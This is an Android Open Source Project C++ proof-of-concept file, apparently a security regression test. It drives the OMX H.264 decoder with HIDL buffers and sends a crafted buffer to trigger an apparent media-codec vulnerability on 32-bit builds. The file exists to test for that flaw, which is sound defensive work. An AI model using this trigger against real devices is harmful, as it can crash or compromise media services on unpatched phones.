/*
 * Copyright (C) 2020 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License"); you may not
 * use this file except in compliance with the License. You may obtain a copy of
 * the License at
 *
 * http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
 * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
 * License for the specific language governing permissions and limitations under
 * the License.
 */

#include <stdlib.h>

#include "../includes/common.h"

// This PoC is only for 32-bit builds
#if _32_BIT
#include "../includes/omxUtils.h"
#define TIMESTAMP_US 0x00010001

extern bool mUseTreble;
sp<IAllocator> mAllocator = IAllocator::getService("ashmem");

int allocateHidlPortBuffers(OMX_U32 portIndex, Vector<Buffer> *buffers) {
    buffers->clear();
    OMX_PARAM_PORTDEFINITIONTYPE def;
    int err = omxUtilsGetParameter(portIndex, &def);
    omxExitOnError(err);

    for (OMX_U32 i = 0; i < def.nBufferCountActual; ++i) {
        Buffer buffer;
        buffer.mFlags = 0;
        bool success;
        auto transStatus = mAllocator->allocate(def.nBufferSize,
                                                [&success, &buffer](bool s, hidl_memory const &m) {
                                                    success = s;
                                                    buffer.mHidlMemory = m;
                                                });
        omxExitOnError(!transStatus.isOk());
        omxExitOnError(!success);
        omxUtilsUseBuffer(portIndex, buffer.mHidlMemory, &buffer.mID);
        buffers->push(buffer);
    }
    return OK;
}
#endif /* _32_BIT */

int main() {
// This PoC is only for 32-bit builds
#if _32_BIT
    int i;
    Vector<Buffer> inputBuffers;
    Vector<Buffer> outputBuffers;
    status_t err = omxUtilsInit((char *)"OMX.google.h264.decoder");

    omxExitOnError(err);

    OMX_PARAM_PORTDEFINITIONTYPE def;
    omxUtilsGetParameter(OMX_UTILS_IP_PORT, &def);

    int inMemorySize = def.nBufferCountActual * def.nBufferSize;
    int inBufferCount = def.nBufferCountActual;
    sp<MemoryDealer> dealerIn = new MemoryDealer(inMemorySize);
    IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCount];

    omxUtilsGetParameter(OMX_UTILS_OP_PORT, &def);

    int outMemorySize = def.nBufferCountActual * def.nBufferSize;
    int outBufferCnt = def.nBufferCountActual;
    sp<MemoryDealer> dealerOut = new MemoryDealer(outMemorySize);
    IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];

    allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &inputBuffers);
    for (i = 0; i < inBufferCount; ++i) {
        inBufferId[i] = inputBuffers[i].mID;
    }

    allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &outputBuffers);
    for (i = 0; i < outBufferCnt; ++i) {
        outBufferId[i] = outputBuffers[i].mID;
    }

    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);

    OMX_U32 flags = OMX_BUFFERFLAG_ENDOFFRAME;
    int64_t timeUs = TIMESTAMP_US;
    omxUtilsEmptyBuffer(inBufferId[0], OMXBuffer::sPreset, flags, timeUs, -1);
    omxUtilsFillBuffer(outBufferId[0], OMXBuffer::sPreset, -1);

    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateLoaded);

    for (i = 0; i < inBufferCount; ++i) {
        omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, inputBuffers[i].mID);
    }

    for (i = 0; i < outBufferCnt; ++i) {
        omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, outputBuffers[i].mID);
    }

    omxUtilsFreeNode();
#endif /* _32_BIT */

    return EXIT_SUCCESS;
}
